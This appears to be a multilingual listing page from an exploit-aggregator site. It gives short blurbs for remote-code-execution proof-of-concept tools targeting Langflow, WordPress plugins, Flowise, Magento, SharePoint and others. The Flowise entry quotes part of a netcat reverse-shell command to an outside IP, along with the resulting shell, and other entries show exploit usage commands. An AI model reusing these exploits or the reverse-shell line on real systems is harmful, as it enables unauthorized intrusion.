CVE-2026-0770

CVE-2026-0770: Langflow execglobals Unauthenticated Remote Code Execution PoC CVE-2026-0770 an unauthenticated Remote Code Execution RCE vulnerability affecting Langflow. The flaw stems from improper input validation within the handling of the execglobals parameter provided to the /validate...

-Limesurvey-RCE-CVE-2021-44967

🚀 LimeSurvey RCE CVE-2021-44967 - प्रमाणित दूरस्थ कोड निष्पादन इस रिपॉजिटरी में LimeSurvey में CVE-2021-44967 के लिए एक कार्यात्मक शोषण शामिल है, जो एक प्रमाणित दूरस्थ कोड निष्पादन भेद्यता है। 🎯 अनुकूलता परीक्षणित और कार्यशील पुष्टि: LimeSurvey 5.2.x LimeSurvey 6.x 🐛 भेद्यता अवलोकन यह भेद्यता...

CVE-2026-77009 WatchMan-Site7 3.1.1 - 4.2.0 - Subscriber+ RCE via Debug Console

The WatchMan-Site7 WordPress plugin through 4.2.0 does not restrict access to its debugging console, which executes user-supplied PHP code, allowing any authenticated user, such as a subscriber, to run arbitrary code on the server...

CVE-2026-77009 WatchMan-Site7 3.1.1 - 4.2.0 - Subscriber+ RCE via Debug Console

The WatchMan-Site7 WordPress plugin through 4.2.0 does not restrict access to its debugging console, which executes user-supplied PHP code, allowing any authenticated user, such as a subscriber, to run arbitrary code on the server...

CVE-2026-77009

CVE-2026-77009 affects the WatchMan-Site7 WordPress plugin through version 4.2.0 . The plugin fails to restrict access to its debugging console , which executes user-supplied PHP code . Any authenticated user with a low privilege level (e.g., a subscriber ) can leverage this to achieve remote cod...

EUVD-2026-70033

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2026-10821

Yoast SEO Premium WordPress plugin before 27.6.1 fails to sanitize control characters from redirect origins before writing them to the site's Apache .htaccess file when file-based redirect mode is enabled. Because the redirect-creation endpoint is accessible to users with Author-level access, an ...

CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2025-24893

معلومات يقوم هذا الـ PoC أولاً باختبار ثغرة SSTI وإذا كانت تعمل. سيدخل في حلقة ويسمح لك بتنفيذ الأوامر عن بُعد. أمرا exec و shell يقومان بنفس الوظيفة حالياً. الاستخدام الاتصال root@kitploit: python3 poc.py مثال مع ضبط debug على False الافتراضي root@kitploit: python3 poc.py http://127.0.0.1:8080...

CVE-2026-20841

لم يتم التحقق من دقة طريقة تشغيل هذا الـ PoC، ويجب اعتبارها معلوماتية/مرجعية فقط. CVE-2026-20841 - ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE في notepad.exe بنظام Windows شرط الاستغلال: تم الاختبار على: إصدار Notepad 11.2510.14.0 الخطوة 1: حفظ الملف الخطوة 2: فتح الملف ملاحظة: يطلب البرنامج تأكيد...

CVE-2026-39987-Lab

CVE-2026-39987 — Laboratoire RCE WebSocket de terminal pré-authentification marimo Laboratoire Docker local uniquement pour reproduire et comprendre CVE-2026-39987 dans marimo. Ce projet compare un service marimo vulnérable avec un service marimo corrigé côte à côte, puis démontre la différence à...

WhatsRCE

WhatsRCE هذه أداة لتوليد الحمولة تلقائياً لثغرة CVE-2019-11932 تنفيذ الأكواد عن بُعد في واتساب 1. تثبيت GCC تلقائياً أمر غير ضار، يمكنك رؤية أن هذا المصدر مفتوح 2. الحفظ في ملف .GIF طريقة الاستخدام؟ root@kitploit: sudo apt install git git clone https://github.com/KeepWannabe/WhatsRCE cd WhatsRCE ...

CVE-2026-39387

CVE-2026-39387 — BoidCMS में प्रमाणित फ़ाइल अपलोड से टेम्पलेट इंजेक्शन के माध्यम से RCE विवरण BoidCMS = 2.1.2 एक प्रमाणित हमलावर को दो कमजोरियों को मिलाकर रिमोट कोड निष्पादन RCE प्राप्त करने की अनुमति देता है: 1. अप्रतिबंधित फ़ाइल अपलोड — मीडिया अपलोड एंडपॉइंट वास्तविक फ़ाइल सामग्री को सत्यापित क...

Magneto-PolyShell

Magento 2 RCE Exploit - बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE ⚠️ यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं, अवैध है। यह एक्सप्लॉइट Magento 2 Adobe Commerce में एक गंभीर बिना प्रमाणीकरण वाली रिमोट कोड एक्ज़ीक्यूशन RCE...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...

PaperCut-Authentication_Bypass_and_RCE

CVE-2023-27350 — PaperCut NG/MF प्रमाणीकरण बाइपास और RCE PaperCut NG/MF में क्रिटिकल प्रमाणीकरण बाइपास और रिमोट कोड एक्सीक्यूशन भेद्यता के लिए स्टैंडअलोन Python एक्सप्लॉइट। CVSS 9.8। विवरण CVE-2023-27350, PaperCut NG और MF के 20.1.7, 21.2.11, और 22.0.9 से पहले के संस्करणों को प्रभावित करता है। यह...

CVE-2026-63520

CVE-2026-63520 استغلال نوع غير آمن في SharePoint RCE + سلسلة CVE-2026-55040 استغلال RCE غير مصادق عليه على Microsoft SharePoint Server. لا حاجة لأي بيانات اعتماد. عرض Stephen Fewer Rapid7 ثغرة CVE-2026-55040 في Pwn2Own Berlin 2026. ثم اكتشفت Rapid7 ثغرة CVE-2026-63520 أثناء أبحاث المتابعة، ووجدت...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — ثغرة SQL Injection / تجاوز المصادقة / تنفيذ الأوامر في ProFTPD modsql إعادة إنتاج مستقلة، وشرح تفصيلي للسبب الجذري على مستوى الكود، وتحليل صريح لمدى التعرض لثغرة CVE-2026-42167 — وهي تجاوز دالة isescapedtext في خط أنابيب تسجيل modsql في ProFTPD، والتي كشفت عنها ZeroPath Research...

CVE-2026-25253

CVE-2026-25253: استغلال تنفيذ التعليمات البرمجية عن بُعد بنقرة واحدة في OpenClaw عبر سرقة رمز المصادقة البرنامج المتأثر: OpenClaw clawbot إخلاء مسؤولية قانوني: هذا الكود والشرح مقدم لأغراض البحث الأمني المصرح به والتعليم فقط. استخدام هذا الاستغلال ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاق...